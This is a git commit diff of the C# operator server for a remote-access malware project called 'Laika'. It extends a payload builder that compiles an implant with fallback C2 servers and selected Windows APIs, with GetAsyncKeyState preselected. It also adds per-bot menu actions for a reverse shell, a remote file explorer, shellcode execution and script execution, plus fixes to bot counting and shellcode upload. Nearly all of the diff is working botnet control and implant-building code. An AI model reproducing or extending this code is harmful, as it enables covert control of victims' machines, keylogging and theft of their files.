add: pasm integration, slow shellcode upload & disconnects fix, bot count fix

This commit is contained in:
2024-08-22 11:33:24 +02:00
parent e53d92c84a
commit 524d2f7615
32 changed files with 19150 additions and 148 deletions

View File

@@ -1,6 +1,14 @@
<?xml version="1.0" encoding="utf-8" ?>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>

View File

@@ -53,10 +53,20 @@
this.button3 = new System.Windows.Forms.Button();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label9 = new System.Windows.Forms.Label();
this.label10 = new System.Windows.Forms.Label();
this.label11 = new System.Windows.Forms.Label();
this.label12 = new System.Windows.Forms.Label();
this.Selected_apis = new System.Windows.Forms.ListBox();
this.searchBox = new System.Windows.Forms.TextBox();
this.searchResultsListBox = new System.Windows.Forms.ListBox();
this.label13 = new System.Windows.Forms.Label();
this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.contextMenuStrip2.SuspendLayout();
this.SuspendLayout();
//
// Hosts
@@ -241,7 +251,7 @@
// button2
//
this.button2.Enabled = false;
this.button2.Location = new System.Drawing.Point(81, 415);
this.button2.Location = new System.Drawing.Point(257, 415);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(213, 38);
this.button2.TabIndex = 18;
@@ -293,11 +303,94 @@
this.label9.Size = new System.Drawing.Size(325, 2);
this.label9.TabIndex = 23;
//
// label10
//
this.label10.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label10.Location = new System.Drawing.Point(363, 15);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(2, 394);
this.label10.TabIndex = 24;
//
// label11
//
this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(371, 9);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(64, 13);
this.label11.TabIndex = 25;
this.label11.Text = "pasm config";
//
// label12
//
this.label12.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label12.Location = new System.Drawing.Point(437, 15);
this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(254, 2);
this.label12.TabIndex = 26;
//
// Selected_apis
//
this.Selected_apis.FormattingEnabled = true;
this.Selected_apis.Location = new System.Drawing.Point(374, 41);
this.Selected_apis.Name = "Selected_apis";
this.Selected_apis.Size = new System.Drawing.Size(173, 368);
this.Selected_apis.TabIndex = 27;
this.Selected_apis.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Selected_apis_MouseDown);
//
// searchBox
//
this.searchBox.Location = new System.Drawing.Point(553, 28);
this.searchBox.Name = "searchBox";
this.searchBox.Size = new System.Drawing.Size(138, 20);
this.searchBox.TabIndex = 28;
this.searchBox.Text = "Search for an API";
this.searchBox.TextChanged += new System.EventHandler(this.SearchBox_TextChanged);
//
// searchResultsListBox
//
this.searchResultsListBox.FormattingEnabled = true;
this.searchResultsListBox.Location = new System.Drawing.Point(553, 54);
this.searchResultsListBox.Name = "searchResultsListBox";
this.searchResultsListBox.Size = new System.Drawing.Size(138, 355);
this.searchResultsListBox.TabIndex = 29;
this.searchResultsListBox.SelectedIndexChanged += new System.EventHandler(this.SearchResultsListBox_SelectedIndexChanged);
//
// label13
//
this.label13.AutoSize = true;
this.label13.Location = new System.Drawing.Point(371, 26);
this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(127, 13);
this.label13.TabIndex = 30;
this.label13.Text = "Selected Windows APIs :";
//
// contextMenuStrip2
//
this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripMenuItem1});
this.contextMenuStrip2.Name = "contextMenuStrip1";
this.contextMenuStrip2.Size = new System.Drawing.Size(108, 26);
//
// toolStripMenuItem1
//
this.toolStripMenuItem1.Image = global::Server.Properties.Resources.delete;
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(107, 22);
this.toolStripMenuItem1.Text = "Delete";
this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
//
// BuildMenu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(355, 465);
this.ClientSize = new System.Drawing.Size(703, 465);
this.Controls.Add(this.label13);
this.Controls.Add(this.searchResultsListBox);
this.Controls.Add(this.searchBox);
this.Controls.Add(this.Selected_apis);
this.Controls.Add(this.label12);
this.Controls.Add(this.label11);
this.Controls.Add(this.label10);
this.Controls.Add(this.label9);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.button3);
@@ -320,7 +413,8 @@
this.Controls.Add(this.label1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.Hosts);
this.MinimumSize = new System.Drawing.Size(371, 430);
this.MaximumSize = new System.Drawing.Size(719, 504);
this.MinimumSize = new System.Drawing.Size(719, 504);
this.Name = "BuildMenu";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Build a payload";
@@ -329,6 +423,7 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.contextMenuStrip2.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -360,5 +455,14 @@
private System.Windows.Forms.Button button3;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Label label9;
private System.Windows.Forms.Label label10;
private System.Windows.Forms.Label label11;
private System.Windows.Forms.Label label12;
private System.Windows.Forms.ListBox Selected_apis;
private System.Windows.Forms.TextBox searchBox;
private System.Windows.Forms.ListBox searchResultsListBox;
private System.Windows.Forms.Label label13;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
}
}

View File

@@ -8,14 +8,97 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Text.Json;
namespace Server
{
{
public partial class BuildMenu : Form
{
private List<ApiInfo> apis;
public BuildMenu()
{
InitializeComponent();
LoadApis();
SetPlaceholder();
searchBox.GotFocus += searchBox_GotFocus;
searchBox.LostFocus += searchBox_LostFocus;
}
private void SetPlaceholder()
{
searchBox.Text = "Search for an API";
searchBox.ForeColor = Color.Gray;
}
private void searchBox_GotFocus(object sender, EventArgs e)
{
if (searchBox.Text == "Search for an API")
{
searchBox.Text = "";
searchBox.ForeColor = Color.Black;
}
}
private void searchBox_LostFocus(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(searchBox.Text))
{
SetPlaceholder();
}
}
private void LoadApis()
{
string filePath = "../data/win_apis.json";
if (File.Exists(filePath))
{
string jsonContent = File.ReadAllText(filePath);
apis = JsonSerializer.Deserialize<List<ApiInfo>>(jsonContent);
int maxItems = apis.Count;
for (int i = 0; i < maxItems; i++)
{
searchResultsListBox.Items.Add(apis[i].function_name);
}
Selected_apis.Items.Add("VirtualAlloc");
Selected_apis.Items.Add("VirtualFree");
Selected_apis.Items.Add("GetAsyncKeyState");
}
else
{
MessageBox.Show("API file not found!");
}
}
private void SearchBox_TextChanged(object sender, EventArgs e)
{
string searchText = searchBox.Text.ToLower();
if (searchText == "search for an api" || searchText == "")
return;
searchResultsListBox.Items.Clear();
var filteredApis = apis.Where(api => api.function_name.ToLower().Contains(searchText)).ToList();
foreach (var api in filteredApis)
{
searchResultsListBox.Items.Add(api.function_name);
}
}
private void SearchResultsListBox_SelectedIndexChanged(object sender, EventArgs e)
{
if (searchResultsListBox.SelectedItem != null)
{
string selectedFunctionName = searchResultsListBox.SelectedItem.ToString();
if (!Selected_apis.Items.Contains(selectedFunctionName))
{
Selected_apis.Items.Add(selectedFunctionName);
}
}
}
private void BuildMenu_Load(object sender, EventArgs e)
@@ -53,12 +136,183 @@ namespace Server
button2.Enabled = false;
}
private void AppendApisToAPIC()
{
string filePath = "../pasm/src/api.c";
string marker = "// generated APIs here";
string fileContent = File.ReadAllText(filePath);
int markerPosition = fileContent.IndexOf(marker);
if (markerPosition == -1)
{
MessageBox.Show($"Marker '{marker}' not found in the file.");
return;
}
string newContent = fileContent.Substring(0, markerPosition + marker.Length) + "\n";
using (StreamWriter sw = new StreamWriter(filePath, false)) // Overwrite the file
{
sw.Write(newContent);
foreach (var selectedItem in Selected_apis.Items)
{
string functionName = selectedItem.ToString();
var api = apis.FirstOrDefault(a => a.function_name == functionName);
if (api == null) continue;
bool returnsVoid = api.full_prototype.StartsWith("void");
StringBuilder functionBody = new StringBuilder();
StringBuilder functionCallArgs = new StringBuilder();
StringBuilder typedefArgs = new StringBuilder();
for(int j = 0; j < api.arguments.Count; j++)
{
string argType = api.arguments[j];
typedefArgs.Append(argType);
if ((j + 1) < api.arguments.Count)
{
typedefArgs.Append(", ");
}
}
for (int i = 0; i < api.arguments.Count; i++)
{
string argName = $"arg{i}";
string argType = api.arguments[i];
functionBody.AppendLine($" long long {argName} = state->STACK[state->STACK_IDX--];");
if (functionCallArgs.Length > 0)
{
functionCallArgs.Append(", ");
}
functionCallArgs.Append($"({argType}){argName}");
}
string functionCall = returnsVoid
? $"{functionName}({functionCallArgs.ToString()});"
: $"state->registers->eax = (long long)p{functionName}({functionCallArgs.ToString()});";
string functionCode = $@"
#ifdef _WIN32
typedef {api.full_prototype.Split(' ')[0]}(WINAPI *f{api.function_name})({typedefArgs.ToString()});
#endif
void api_{functionName}(void) {{
#ifdef _WIN32
f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", ""{api.function_name}"");
{functionBody.ToString()} {functionCall}
#else
state->STACK_IDX -= {api.arguments.Count};
{(returnsVoid ? string.Empty : "state->registers->eax = 1;")}
#endif
}}
";
sw.WriteLine(functionCode);
}
}
}
private void UpdateApiHeaderFile()
{
string filePath = "../pasm/src/api.h";
string markerStart = "// generated APIs here";
string markerEnd = "//end";
string fileContent = File.ReadAllText(filePath);
int startMarkerPosition = fileContent.IndexOf(markerStart);
int endMarkerPosition = fileContent.IndexOf(markerEnd, startMarkerPosition);
if (startMarkerPosition == -1 || endMarkerPosition == -1)
{
MessageBox.Show($"Markers '{markerStart}' or '{markerEnd}' not found in the file.");
return;
}
string contentBeforeMarkers = fileContent.Substring(0, startMarkerPosition + markerStart.Length) + "\n";
string contentAfterMarkers = fileContent.Substring(endMarkerPosition);
StringBuilder prototypes = new StringBuilder();
StringBuilder apiMapEntries = new StringBuilder();
foreach (var selectedItem in Selected_apis.Items)
{
string functionName = selectedItem.ToString();
prototypes.AppendLine($"void api_{functionName}();");
apiMapEntries.AppendLine($" {{.command = \"{functionName}\", .fptr = api_{functionName}}},");
}
string newContent = contentBeforeMarkers + prototypes.ToString() + "\n" + contentAfterMarkers;
int apiMapStartMarkerPosition = newContent.IndexOf(markerStart, startMarkerPosition + markerStart.Length);
int apiMapEndMarkerPosition = newContent.IndexOf(markerEnd, apiMapStartMarkerPosition);
string newApiMapContent = newContent.Substring(0, apiMapStartMarkerPosition + markerStart.Length) + "\n" +
apiMapEntries.ToString() + "\n" +
newContent.Substring(apiMapEndMarkerPosition);
File.WriteAllText(filePath, newApiMapContent);
}
private void button2_Click(object sender, EventArgs e)
{
string output = "";
button2.Text = "Building...";
button2.Text = "Writing APIs to pasm...";
button2.Update();
AppendApisToAPIC();
UpdateApiHeaderFile();
button2.Text = "Building pasm...";
button2.Update();
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
startInfo.CreateNoWindow = true;
process.StartInfo = startInfo;
process.Start();
string vs_path = process.StandardOutput.ReadToEnd();
process.WaitForExit();
vs_path = vs_path.Replace("\r\n", "");
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../pasm/msvc/pasm.vcxproj /p:Configuration=Release;Platform=x86 /p:LaikaBuild=true";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
button2.Text = "Building Laika...";
button2.Update();
/*
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
*/
string filePath = @"..\Laika\config.h";
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
@@ -72,24 +326,8 @@ namespace Server
{
newContent += "\t4444,\n";
}
newContent += "};";
newContent += "};";
File.WriteAllText(filePath, newContent);
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
startInfo.CreateNoWindow = true;
process.StartInfo = startInfo;
process.Start();
string vs_path = process.StandardOutput.ReadToEnd();
process.WaitForExit();
vs_path = vs_path.Replace("\r\n", "");
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
@@ -175,5 +413,33 @@ namespace Server
label6.Enabled = checkBox4.Checked;
numericUpDown2.Enabled = checkBox4.Checked;
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
Selected_apis.Items.RemoveAt(Selected_apis.SelectedIndex);
if (Selected_apis.Items.Count == 0)
button2.Enabled = false;
}
private void Selected_apis_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
int index = Selected_apis.IndexFromPoint(e.Location);
if (index < 0)
return;
Selected_apis.SelectedIndex = index;
contextMenuStrip2.Show(Cursor.Position);
}
}
}
public class ApiInfo
{
public string function_name { get; set; }
public List<string> arguments { get; set; }
public string dll_name { get; set; }
public string full_prototype { get; set; }
}
}

View File

@@ -120,4 +120,7 @@
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="contextMenuStrip2.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>172, 17</value>
</metadata>
</root>

View File

@@ -23,7 +23,7 @@ namespace Server
}
public static int ITEM_ID = 0;
public static int CLIENT_ID = 0;
public static int CLIENT_ID = -1;
public static string PATH = "";
public static bool OPENED = false;
@@ -83,8 +83,6 @@ namespace Server
dataGridView2.Rows[idx].Tag += "/f";
}
}
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
@@ -114,7 +112,6 @@ namespace Server
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
c.Client.Blocking = false;
} catch
{
CLIENT_ID = -1;
@@ -194,8 +191,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
@@ -259,6 +254,7 @@ namespace Server
private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e)
{
CLIENT_ID = -1;
OPENED = false;
}
@@ -288,8 +284,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file));
stream.Write(Message, 0, Message.Length);
c.Client.Blocking = false;
}
catch
{
@@ -328,8 +322,6 @@ namespace Server
stream.Write(Message, 0, Message.Length);
byte[] fileContent = File.ReadAllBytes(filePath);
stream.Write(fileContent, 0, fileContent.Length);
c.Client.Blocking = false;
}
catch
{
@@ -455,8 +447,6 @@ namespace Server
{
DownloadFile(PATH + file, stream, c);
}
c.Client.Blocking = false;
}
catch
{

101
Server/Menu.Designer.cs generated
View File

@@ -29,9 +29,9 @@
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -41,9 +41,13 @@
this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.label1 = new System.Windows.Forms.Label();
this.pasmToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.editorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executePasmScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.menuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
this.contextMenuStrip1.SuspendLayout();
@@ -54,7 +58,8 @@
this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu;
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripMenuItem1,
this.payloadToolStripMenuItem});
this.payloadToolStripMenuItem,
this.pasmToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(591, 24);
@@ -102,27 +107,27 @@
| System.Windows.Forms.AnchorStyles.Right)));
this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText;
this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText;
dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7;
this.dataGridView1.ColumnHeadersHeight = 30;
this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Id,
this.IPAddress});
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2;
dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle8;
this.dataGridView1.EnableHeadersVisualStyles = false;
this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar;
this.dataGridView1.Location = new System.Drawing.Point(12, 28);
@@ -132,12 +137,12 @@
this.dataGridView1.ReadOnly = true;
this.dataGridView1.RowHeadersVisible = false;
this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3;
dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle9;
this.dataGridView1.RowTemplate.ReadOnly = true;
this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView1.Size = new System.Drawing.Size(567, 302);
this.dataGridView1.Size = new System.Drawing.Size(567, 295);
this.dataGridView1.TabIndex = 1;
this.dataGridView1.TabStop = false;
this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick);
@@ -164,15 +169,40 @@
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.shellToolStripMenuItem,
this.fileExplorerToolStripMenuItem,
this.shellcodeToolStripMenuItem});
this.shellcodeToolStripMenuItem,
this.executePasmScriptToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70);
this.contextMenuStrip1.Size = new System.Drawing.Size(189, 92);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(10, 325);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(61, 13);
this.label1.TabIndex = 2;
this.label1.Text = "Listening at";
//
// pasmToolStripMenuItem
//
this.pasmToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.editorToolStripMenuItem});
this.pasmToolStripMenuItem.Name = "pasmToolStripMenuItem";
this.pasmToolStripMenuItem.Size = new System.Drawing.Size(48, 20);
this.pasmToolStripMenuItem.Text = "pasm";
//
// editorToolStripMenuItem
//
this.editorToolStripMenuItem.Name = "editorToolStripMenuItem";
this.editorToolStripMenuItem.Size = new System.Drawing.Size(105, 22);
this.editorToolStripMenuItem.Text = "Editor";
this.editorToolStripMenuItem.Click += new System.EventHandler(this.editorToolStripMenuItem_Click);
//
// shellToolStripMenuItem
//
this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal;
this.shellToolStripMenuItem.Name = "shellToolStripMenuItem";
this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.shellToolStripMenuItem.Text = "Reverse shell";
this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click);
//
@@ -180,7 +210,7 @@
//
this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder;
this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem";
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.fileExplorerToolStripMenuItem.Text = "File Explorer";
this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click);
//
@@ -188,19 +218,30 @@
//
this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem";
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.shellcodeToolStripMenuItem.Text = "Execute shellcode";
this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click);
//
// executePasmScriptToolStripMenuItem
//
this.executePasmScriptToolStripMenuItem.Image = global::Server.Properties.Resources.scenario;
this.executePasmScriptToolStripMenuItem.Name = "executePasmScriptToolStripMenuItem";
this.executePasmScriptToolStripMenuItem.Size = new System.Drawing.Size(188, 22);
this.executePasmScriptToolStripMenuItem.Text = "Execute a pasm script";
this.executePasmScriptToolStripMenuItem.Click += new System.EventHandler(this.executePasmScriptToolStripMenuItem_Click);
//
// Menu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.AutoScroll = true;
this.ClientSize = new System.Drawing.Size(591, 342);
this.Controls.Add(this.label1);
this.Controls.Add(this.dataGridView1);
this.Controls.Add(this.menuStrip1);
this.MainMenuStrip = this.menuStrip1;
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(607, 381);
this.MinimumSize = new System.Drawing.Size(607, 381);
this.Name = "Menu";
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
@@ -229,6 +270,10 @@
private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.ToolStripMenuItem pasmToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem editorToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executePasmScriptToolStripMenuItem;
}
}

View File

@@ -11,6 +11,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Runtime.CompilerServices;
namespace Server
{
@@ -24,11 +25,13 @@ namespace Server
public static TcpListener server;
public static int CLIENT_ID;
public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
public static string localip;
public static int localport;
public static void ServerStart()
{
string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
int port = 4444;
server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
